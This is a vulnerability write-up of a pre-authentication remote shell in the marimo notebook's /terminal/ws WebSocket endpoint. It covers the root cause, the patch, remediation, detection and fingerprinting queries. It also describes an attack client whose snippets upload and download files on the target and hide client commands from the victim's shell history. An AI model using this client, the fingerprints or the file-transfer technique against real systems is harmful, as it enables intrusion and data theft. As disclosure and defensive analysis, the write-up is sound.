CVE-2026-39987: Pre-Authentication Remote Code Execution in marimo
Severity: CVSS 4.0 9.3 (Critical) — AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H
Weakness: CWE-306 — Missing Authentication for Critical Function
Affected: marimo < 0.23.0
Fixed in: 0.23.0
Advisory: GHSA-2679-6mx9-h9xc
Proof of concept: github.com/Wind010/CVE-2026-39987_PoC
Adapted from: https://wind010.hashnode.dev/one-websocket-one-shell-cve-2026-39987-explained
Authorization notice. This analysis is published for defensive and educational purposes: patch validation, detection engineering, and authorized security testing. The proof-of-concept client is intended for systems you own or have written permission to test. Do not use it anywhere else.
Summary
Marimo is a reactive Python notebook. Its editor ships an integrated terminal so users can run shell commands alongside their cells. In versions prior to 0.23.0, the WebSocket endpoint backing that terminal — /terminal/ws — performs no authentication check.
A client that connects to wss://target/terminal/ws is attached to an interactive pseudo-terminal running as the user who launched the notebook. No credentials, no token, no exploit chain, no memory corruption. A single WebSocket upgrade request.
I encountered this while obtaining an initial foothold on a Hack The Box Season 11 machine, then reproduced and instrumented it in a lab to understand the root cause and build a usable client.
Root Cause
marimo serves multiple WebSocket endpoints from the same application. The primary session socket, /ws, defined in ws_endpoint.py, authenticates correctly on the vulnerable 0.20.x line:
@router.websocket("/ws")
async def websocket_endpoint(
websocket: WebSocket,
) -> None:
app_state = AppState(websocket)
validator = WebSocketConnectionValidator(websocket, app_state)
# Validate authentication before proceeding
if not await validator.validate_auth():
return
...
The terminal socket, /terminal/ws in terminal.py, from the same release, does not:
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(
code=1008, reason="Terminal only available in edit mode"
)
return
if not supports_terminal():
await websocket.close(
code=1008, reason="Terminal not supported in this environment"
)
return
try:
await websocket.accept()
LOGGER.debug("Terminal websocket accepted")
...
child_pid, fd = pty.fork()
Both guards are capability checks, not authorization checks:
| Guard | Question it answers |
|---|---|
app_state.mode != SessionMode.EDIT | Is the terminal feature enabled in this deployment? |
supports_terminal() | Can this platform allocate a PTY? |
Neither establishes caller identity. There is no validate_auth() call. The handler accepts the socket and proceeds directly to pty.fork().
The notable detail is not that authentication is absent in the abstract — the codebase clearly knows how to authenticate a WebSocket and does so in the adjacent handler. It is that the terminal endpoint was written as though it inherited that check from the surrounding router, and never did. This is a recurring failure mode in applications that mount several socket endpoints under one app: authorization is enforced per-handler, so a handler added later silently opts out.
The Patch
The fix on main is the missing check:
app_state = AppState(websocket)
if app_state.enable_auth and not validate_auth(websocket):
await websocket.close(
WebSocketCodes.UNAUTHORIZED, WebSocketCloseReason.UNAUTHORIZED
)
return
Read the condition carefully: the guard is app_state.enable_auth and .... Deployments that upgrade to 0.23.0 but run with authentication disabled — a common choice for “internal only” instances — remain fully exploitable. The patch closes the vulnerability; it does not close the exposure. Both are required. See Remediation.
Impact: Why a PTY Raises the Ceiling
The endpoint does not execute a single command and return output. It calls pty.fork(), allocating a real pseudo-terminal for the child — the same primitive an SSH session uses.
The practical consequence is that an unauthenticated attacker gets an interactive TTY, not a command runner:
- Job control and signal delivery (
Ctrl+C,Ctrl+Z) - Shell history, tab completion,
Ctrl+R sudowith a working password promptsshto adjacent hosts for lateral movement- Full-screen programs (editors,
top,less)
Execution occurs as the account that launched the notebook. On typical data-science hosts that account holds credentials for object storage, databases, and internal APIs, so the blast radius extends well past the notebook process.
This is also why the proof of concept is a terminal client rather than a curl one-liner. There is no JSON envelope and no {"type":"exec"} message to construct — the connection carries raw bytes in both directions.
Exposure Discovery
marimo serves a stable favicon, so exposed instances fingerprint reliably.
Shodan:
http.favicon.hash:-1864630356
Censys:
services.http.response.favicons.hashes: -1864630356
Any live instance answers /api/version, which reveals immediately whether the deployment is below 0.23.0.
Run these against your own address space first. The defensive value of a fingerprint is finding your own exposed notebook before an opportunistic scanner does — and given the exploitation timeline below, scanners have already run it.
Exploitation Timeline
This vulnerability had no meaningful grace period. Sysdig’s threat research team observed first in-the-wild exploitation roughly nine and a half hours after public disclosure, with no public exploit code required — the bug is trivially reproducible from the advisory text alone. It was subsequently added to CISA’s Known Exploited Vulnerabilities catalog.
The specific figure matters less than the shape of it. For a pre-authentication RCE with a scannable fingerprint and no exploit development cost, the interval between advisory publication and compromise of unpatched hosts is measured in hours. Patch windows designed around a multi-day SLA do not apply to this class of finding.
Building a Usable Client
The vulnerability is one missing line. Turning the resulting raw byte pipe into something that behaves like a terminal was the bulk of the engineering effort, and it surfaced several problems worth documenting for anyone writing PTY-over-WebSocket tooling.
Raw mode and full-duplex I/O
A terminal is full-duplex: output can arrive mid-keystroke. The client runs two asyncio tasks over a single socket — a reader that writes inbound bytes to the screen and a writer that transmits keystrokes. The local TTY is placed in raw mode so the remote shell owns echo and line editing, and it is always restored:
old_settings = termios.tcgetattr(sys.stdin.fileno())
tty.setraw(sys.stdin.fileno())
...
finally:
termios.tcsetattr(sys.stdin.fileno(), termios.TCSADRAIN, old_settings)
Omitting the finally block leaves the operator’s own terminal without echo after any dropped connection.
Immediate keystroke forwarding
Buffering a line locally and sending it on Enter destroys arrow-key history, tab completion, Ctrl+R, and Ctrl+C, because all of those are the remote PTY reacting to individual bytes in real time. Every byte is therefore forwarded as it is typed. That constraint drives the design of everything that follows.
Client-side commands that must not leak downrange
The client implements !upload, !download, and an interactive .upload wizard locally. Under immediate forwarding, however, the moment the operator types ! that byte has already been transmitted to the victim shell — leaving artifacts in the target’s shell history and terminal output.
The writer resolves this with a small state machine. While the line typed so far could still become a client command, characters are withheld from the socket and echoed locally so typing appears normal. Once a match is ruled out, the local echo is erased and the withheld bytes are released as a single chunk:
you type: ! u p l o a d ...
└───────────────┘
held back, echoed locally, NOT sent to remote yet
ruled out (e.g. you typed "!ls"):
erase local echo with '\b \b' per char,
then send the whole withheld chunk at once ──► remote pty
(its own echo redraws the line correctly)
confirmed "!upload a b" + Enter:
run it locally, remote never sees a thing
The implementation is a held_buffer plus a checking_trigger flag:
if checking_trigger:
held_buffer += text_data
...
could_still_match = (
any(t.startswith(held_buffer) for t in IMMEDIATE_TRIGGERS)
or any(t.startswith(held_buffer) or held_buffer.startswith(t) for t in LINE_TRIGGERS)
)
if could_still_match:
# still might be a command hold it, but echo locally so typing looks normal
sys.stdout.write(text_data)
sys.stdout.flush()
continue
# ruled out erase our local echo and release the withheld bytes as one chunk
erase_count = len(held_buffer) - 1
if erase_count > 0:
sys.stdout.write('\b \b' * erase_count)
flushed = held_buffer
held_buffer = ""
await ws.send(flushed)
Backspace inside that window is handled purely locally: the withheld characters were never transmitted, so there is nothing on the remote to erase. The client pops its buffer and walks the cursor back with '\b \b' without notifying the remote.
Upload
Files are transmitted as base64 piped into base64 -d, chunked so that no single command line exceeds ARG_MAX. The destination path is passed through shlex.quote, so a space or quote character in the filename cannot break out of the command:
for i, chunk in enumerate(chunks):
redirect = ">" if i == 0 else ">>"
await ws.send(f"echo '{chunk}' | base64 -d {redirect} {quoted_remote_path}\n")
The first chunk truncates with >; subsequent chunks append with >>.
Download, and a PTY echo pitfall
Retrieving a file means having the remote base64-encode it between two sentinel markers and scraping the bytes in between out of the stream. The obvious implementation is subtly broken: a PTY echoes the command back before executing it. The literal text echo __DL_START__; base64 file; echo __DL_END__ appears in the stream first, so a naive marker search matches the echo rather than the command output — decoding the command instead of the file.
The fix is to suffix each marker with $$, the shell’s PID variable:
await ws.send(f"echo {start_tag}-$$; base64 {quoted_remote_path} 2>/dev/null; echo {end_tag}-$$\n")
In the echoed command text, $$ remains the literal two characters, because the shell has not expanded it yet. Only during actual execution does $$ become digits. A pattern that requires digits after the marker therefore matches the genuine output and skips the echo:
start_pattern = re.compile(re.escape(start_tag) + r"-\d+")
end_pattern = re.compile(re.escape(end_tag) + r"-\d+")
While a transfer is in flight, the reader task stops writing to the screen and diverts the stream into a capture buffer, coordinated through a shared TransferState:
class TransferState:
"""Shared state letting writer() ask reader() to capture output instead of printing it (used by !download)."""
def __init__(self):
self.capturing = False
self.buffer = ""
self.end_pattern = None
self.future = None
When the end marker appears, the reader resolves a future the download coroutine is awaiting, hands over the captured text, base64-decodes the slice between markers, and writes the file locally. Otherwise capturing remains False and bytes flow to the terminal unmodified.
I evaluated existing public proof-of-concept code first; none worked in my environment, so the client was written from scratch after analyzing the root cause.
Full source, including the transfer plumbing and tests: github.com/Wind010/CVE-2026-39987_PoC.
Remediation
In priority order:
- Upgrade to marimo ≥ 0.23.0. This is the actual patch. Do this first.
- Do not expose the edit server to the internet. The terminal exists only in edit mode, so a publicly reachable edit server is the underlying exposure. Bind to
localhostor an internal interface and reach it through a VPN or bastion host. - Enforce authentication at the proxy if you cannot upgrade immediately. A reverse proxy performing OAuth2 or mTLS in front of
/terminal/wsand the remaining API routes provides interim coverage. - Segment the port. Firewall the listener so only trusted ranges can reach it.
- Monitor for it. Alert on WebSocket upgrade requests to
/terminal/wsfrom unexpected sources, and use the favicon queries above defensively to keep locating unmanaged instances in your own estate.
Because the patched guard is gated behind enable_auth, upgrading while running with authentication disabled still leaves an unauthenticated shell reachable by anyone who can route to the port. Patch and keep the edit server off the public internet.
Detection
Two low-cost signals worth wiring up:
- Network: WebSocket upgrade requests (
Upgrade: websocket) to the path/terminal/wsoriginating from outside your management range. On a legitimately internal-only deployment this should be zero. - Host: unexpected
pty.fork()descendants of the marimo process — shells,curl/wget, orsshparented to the notebook server — are strong post-exploitation indicators.
Closing
One missing authorization check on one WebSocket handler yields unauthenticated interactive root-equivalent access, exploited in the wild within hours of disclosure and now tracked in CISA KEV. The engineering effort in this write-up went into making the resulting shell comfortable to use; the vulnerability itself was a single absent line.
If you run marimo anywhere, check /api/version today.
References
- NVD — CVE-2026-39987
- marimo security advisory GHSA-2679-6mx9-h9xc
- CWE-306: Missing Authentication for Critical Function
- Endor Labs — Root in One Request: marimo’s Critical Pre-Auth RCE
- Resecurity — marimo Pre-Auth RCE via Unauthenticated WebSocket Terminal
- Security Affairs — CVE-2026-39987 exploited in hours after disclosure
- RFC 6455 — The WebSocket Protocol
- Proof of concept — github.com/Wind010/CVE-2026-39987_PoC